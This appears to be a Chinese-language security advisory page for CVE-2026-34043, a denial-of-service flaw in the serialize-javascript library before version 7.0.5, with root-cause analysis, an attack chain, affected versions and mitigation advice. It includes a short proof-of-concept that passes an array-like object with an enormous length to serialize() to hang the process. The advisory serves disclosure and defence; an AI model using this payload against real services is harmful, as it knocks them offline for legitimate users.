IPBUF安全漏洞报告
English
CVE-2026-34043 CVSS 5.9 中危

CVE-2026-34043 serialize-javascript 拒绝服务漏洞

披露日期: 2026-03-31

漏洞信息

漏洞编号
CVE-2026-34043
漏洞类型
拒绝服务
CVSS评分
5.9 中危
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
无需交互 (UI:N)
影响产品
serialize-javascript

相关标签

DoSserialize-javascriptCVE-2026-34043CPU ExhaustionNode.js

漏洞概述

serialize-javascript 是一个用于将 JavaScript 序列化为 JSON 超集的库。在 7.0.5 版本之前,该库存在一个拒绝服务漏洞。当序列化一个经过特殊构造的“类数组”对象(即继承自 Array.prototype 但具有极大 length 属性的对象)时,进程会进入密集循环,消耗 100% CPU 资源并无限期挂起。该问题已在 7.0.5 版本中修复。

技术细节

该漏洞的根源在于 serialize-javascript 库在处理类数组对象时的逻辑缺陷。攻击者可以构造一个恶意对象,该对象继承自 Array.prototype,但其 length 属性被设置为一个极大的值(例如 Number.MAX_VALUE)。当库尝试遍历该对象的索引进行序列化时,由于 length 值异常巨大,遍历循环将消耗大量的 CPU 时间片,导致线程阻塞。由于攻击者无需认证即可通过网络触发此漏洞,且无需用户交互,这允许攻击者轻松使服务资源耗尽,导致正常请求无法得到处理,从而造成拒绝服务。

攻击链分析

STEP 1
构造恶意对象
攻击者创建一个继承自 Array.prototype 且 length 属性极大的类数组对象。
STEP 2
发送恶意数据
攻击者将该恶意对象发送至目标应用程序的接口,该接口使用了 vulnerable 版本的 serialize-javascript 库。
STEP 3
触发序列化
应用程序接收数据并调用 serialize() 函数尝试将对象转换为字符串。
STEP 4
资源耗尽
序列化函数陷入处理超大 length 的循环中,导致 CPU 占用率飙升至 100%,进程挂起。
STEP 5
拒绝服务
服务器无法处理其他合法请求,导致服务不可用。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
const serialize = require('serialize-javascript'); // Create a crafted array-like object to trigger the DoS const maliciousObject = { __proto__: Array.prototype, length: Number.MAX_VALUE // Setting an extremely large length }; console.log('Attempting to serialize malicious object...'); try { // The following call will cause the process to hang and consume 100% CPU const result = serialize(maliciousObject); console.log(result); } catch (error) { console.error('Error during serialization:', error); }

影响范围

serialize-javascript < 7.0.5

防御指南

临时缓解措施
如果无法立即升级,建议在序列化操作之前对输入对象进行深度检查,识别并拦截具有异常 length 属性的类数组对象,或限制序列化操作的最大执行时间。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表